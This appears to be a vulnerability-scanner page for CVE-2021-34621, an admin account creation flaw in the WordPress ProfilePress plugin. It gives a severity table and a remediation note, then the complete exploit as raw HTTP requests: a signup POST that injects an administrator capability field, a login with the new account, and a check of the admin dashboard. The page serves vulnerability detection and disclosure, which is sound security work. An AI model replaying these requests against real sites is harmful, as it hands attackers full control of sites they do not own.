| Title | WordPress ProfilePress 3.0.0-3.1.3 - Admin User Creation Weakness |
|---|---|
| Author | 0xsapra |
| Severity | Critical |
| Impact | An attacker can exploit this vulnerability to create unauthorized admin accounts and gain full control over the WordPress site. |
| Remediation | Update to the latest version of ProfilePress to fix the admin user creation weakness. |
| CVSS Score | 9.8 |
| EPSS Score | 0.92771 |
| CVE ID | CVE-2021-34621 |
| CWE ID | CWE-306,CWE-269 |
| Tags | cve2021 cve wordpress wp-plugin packetstorm intrusive properfraction vkev vuln |
ProfilePress WordPress plugin is susceptible to a vulnerability in the user registration component in the ~/src/Classes/RegistrationAuth.php file that makes it possible for users to register on sites as an administrator.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Content-Length: 1870
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: multipart/form-data; boundary=---------------------------138742543134772812001999326589
Origin: http://www.victim.com
Referer: http://www.victim.com
Accept-Encoding: gzip
-----------------------------138742543134772812001999326589
Content-Disposition: form-data; name="reg_username"
38FLONMcs4FsD9eZSpsjT6WQONP
-----------------------------138742543134772812001999326589
Content-Disposition: form-data; name="reg_email"
38FLONMcs4FsD9eZSpsjT6WQONP@interact.sh
-----------------------------138742543134772812001999326589
Content-Disposition: form-data; name="reg_password"
38FLONMcs4FsD9eZSpsjT6WQONP@interact.sh
-----------------------------138742543134772812001999326589
Content-Disposition: form-data; name="reg_password_present"
true
-----------------------------138742543134772812001999326589
Content-Disposition: form-data; name="reg_first_name"
38FLONMcs4FsD9eZSpsjT6WQONP@interact.sh
-----------------------------138742543134772812001999326589
Content-Disposition: form-data; name="reg_last_name"
38FLONMcs4FsD9eZSpsjT6WQONP@interact.sh
-----------------------------138742543134772812001999326589
Content-Disposition: form-data; name="_wp_http_referer"
/wp/?page_id=18
-----------------------------138742543134772812001999326589
Content-Disposition: form-data; name="pp_current_url"
http://www.victim.com
-----------------------------138742543134772812001999326589
Content-Disposition: form-data; name="wp_capabilities[administrator]"
1
-----------------------------138742543134772812001999326589
Content-Disposition: form-data; name="signup_form_id"
1
-----------------------------138742543134772812001999326589
Content-Disposition: form-data; name="signup_referrer_page"
-----------------------------138742543134772812001999326589
Content-Disposition: form-data; name="action"
pp_ajax_signup
-----------------------------138742543134772812001999326589
Content-Disposition: form-data; name="melange_id"
-----------------------------138742543134772812001999326589--
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/10.1.2 Safari/603.3.8
Connection: close
Content-Length: 104
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://www.victim.com
Referer: http://www.victim.com
Accept-Encoding: gzip
log=38FLONMcs4FsD9eZSpsjT6WQONP@interact.sh&pwd=38FLONMcs4FsD9eZSpsjT6WQONP@interact.sh&wp-submit=Log+In
GET /wp-admin/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; it-it) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27
Accept: */*
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-34621.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-34621.pcap
N/AN/A